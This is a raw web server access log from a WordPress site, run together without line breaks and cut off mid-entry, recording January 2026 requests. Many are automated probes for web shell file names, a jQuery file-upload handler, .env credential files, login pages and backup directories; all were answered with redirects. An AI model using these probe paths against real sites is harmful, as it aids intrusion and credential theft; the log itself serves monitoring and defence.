[28/Jan/2026:20:42:14 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:17 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:20 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:24 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:27 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:30 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:33 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:36 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:39 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:42 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:46 +0300] "GET /class-admin.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:50 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:00 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:29:09 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:29:12 +0300] "GET /rzzaq.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:37 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:41 +0300] "GET //la.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:44 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:45 +0300] "GET /admin.php/admin.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:48 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:40:00 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:40:31 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 157.66.56.21 - - [28/Jan/2026:21:22:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 107.172.180.205 - - [28/Jan/2026:21:50:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 165.22.195.240 - - [28/Jan/2026:22:57:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 80.71.159.87 - - [28/Jan/2026:22:42:53 +0300] "GET / HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 165.22.195.240 - - [28/Jan/2026:22:57:30 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 209.23.8.62 - - [28/Jan/2026:23:58:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 209.23.8.62 - - [28/Jan/2026:23:58:02 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.155.27.244 - - [29/Jan/2026:00:36:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 209.23.8.62 - - [28/Jan/2026:23:58:02 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.79.160 - - [29/Jan/2026:01:19:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.133.69.37 - - [29/Jan/2026:01:41:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 143.198.135.176 - - [29/Jan/2026:02:28:55 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.86.0.22 - - [29/Jan/2026:01:54:13 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 66.249.79.160 - - [29/Jan/2026:01:19:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 188.130.128.140 - - [29/Jan/2026:02:10:04 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 62.60.130.228 - - [29/Jan/2026:03:44:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 2.58.56.55 - - [29/Jan/2026:06:02:09 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.55 - - [29/Jan/2026:06:02:10 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.55 - - [29/Jan/2026:06:02:10 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 121.229.185.160 - - [29/Jan/2026:06:04:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.193.202.195 - - [29/Jan/2026:06:11:24 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.193.202.195 - - [29/Jan/2026:06:11:26 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 2.58.56.55 - - [29/Jan/2026:06:02:09 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.55 - - [29/Jan/2026:06:02:10 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.55 - - [29/Jan/2026:06:02:09 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 130.12.181.143 - - [29/Jan/2026:05:35:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:121.0) Gecko/20100101 Firefox/121.0" 2.58.56.55 - - [29/Jan/2026:06:02:10 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.55 - - [29/Jan/2026:06:02:10 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.55 - - [29/Jan/2026:06:02:10 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 130.12.181.143 - - [29/Jan/2026:07:10:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 47.86.53.59 - - [29/Jan/2026:08:04:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.167.232.38 - - [29/Jan/2026:07:11:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.47.227.194 - - [29/Jan/2026:08:09:11 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.47.227.194 - - [29/Jan/2026:08:09:11 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.157.20.63 - - [29/Jan/2026:08:10:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.12.150.17 - - [29/Jan/2026:07:14:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 13; sk-sk; Xiaomi 11T Pro Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.4.0-g" 103.47.227.194 - - [29/Jan/2026:08:09:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 199.45.155.93 - - [29/Jan/2026:09:43:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 167.94.138.60 - - [29/Jan/2026:10:44:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 45.194.92.21 - - [29/Jan/2026:11:50:26 +0300] "GET /public/admin/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 103.135.102.161 - - [29/Jan/2026:12:33:47 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 100.30.5.6 - - [29/Jan/2026:11:54:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 123.187.240.242 - - [29/Jan/2026:12:28:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 207.180.240.134 - - [29/Jan/2026:12:29:38 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.194 - - [29/Jan/2026:13:10:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.131.253.14 - - [29/Jan/2026:14:17:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.57.46 - - [29/Jan/2026:13:20:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.123.109.120 - - [29/Jan/2026:15:07:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 141.98.11.44 - - [29/Jan/2026:15:34:21 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/119.0.1" 141.98.11.44 - - [29/Jan/2026:15:34:21 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36" 141.98.11.44 - - [29/Jan/2026:15:34:26 +0300] "GET /login/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko/20100101 Firefox/120.0.1" 69.171.231.18 - - [29/Jan/2026:15:44:41 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 44.244.225.247 - - [29/Jan/2026:16:01:39 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11" 159.65.187.217 - - [29/Jan/2026:16:32:15 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 192.159.99.216 - - [29/Jan/2026:17:19:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 192.159.99.216 - - [29/Jan/2026:17:19:38 +0300] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 69.171.231.9 - - [29/Jan/2026:18:31:26 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 150.241.66.156 - - [29/Jan/2026:19:05:13 +0300] "HEAD /Wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:15 +0300] "HEAD /WORDPRESS HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:17 +0300] "HEAD /WordPress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:19 +0300] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:25 +0300] "HEAD /Wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:28 +0300] "HEAD /WP HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:30 +0300] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:35 +0300] "HEAD /Old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:39 +0300] "HEAD /OLD HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:41 +0300] "HEAD /oldsite HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:45 +0300] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:46 +0300] "HEAD /New HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:48 +0300] "HEAD /NEW HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:51 +0300] "HEAD /wp-old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:55 +0300] "HEAD /2022 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:05:59 +0300] "HEAD /2023 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:00 +0300] "HEAD /2024 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:09 +0300] "HEAD /2017 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:11 +0300] "HEAD /2020 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:15 +0300] "HEAD /2019 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:19 +0300] "HEAD /2018 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:23 +0300] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:26 +0300] "HEAD /test HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:28 +0300] "HEAD /Test HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:30 +0300] "HEAD /TEST HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:32 +0300] "HEAD /demo HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:33 +0300] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:35 +0300] "HEAD /www HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:37 +0300] "HEAD /WWW HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:41 +0300] "HEAD /Www HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:47 +0300] "HEAD /2021 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:50 +0300] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:53 +0300] "HEAD /old-site HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:57 +0300] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:06:59 +0300] "HEAD /Backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:02 +0300] "HEAD /BACKUP HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:07 +0300] "HEAD /SHOP HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:15 +0300] "HEAD /Shop HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:22 +0300] "HEAD /shop HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:25 +0300] "HEAD /bak HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:27 +0300] "HEAD /sitio HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:29 +0300] "HEAD /bac HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:32 +0300] "HEAD /sito HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:35 +0300] "HEAD /site HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:39 +0300] "HEAD /Site HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:43 +0300] "HEAD /SITE HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:46 +0300] "HEAD /blog HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 150.241.66.156 - - [29/Jan/2026:19:07:57 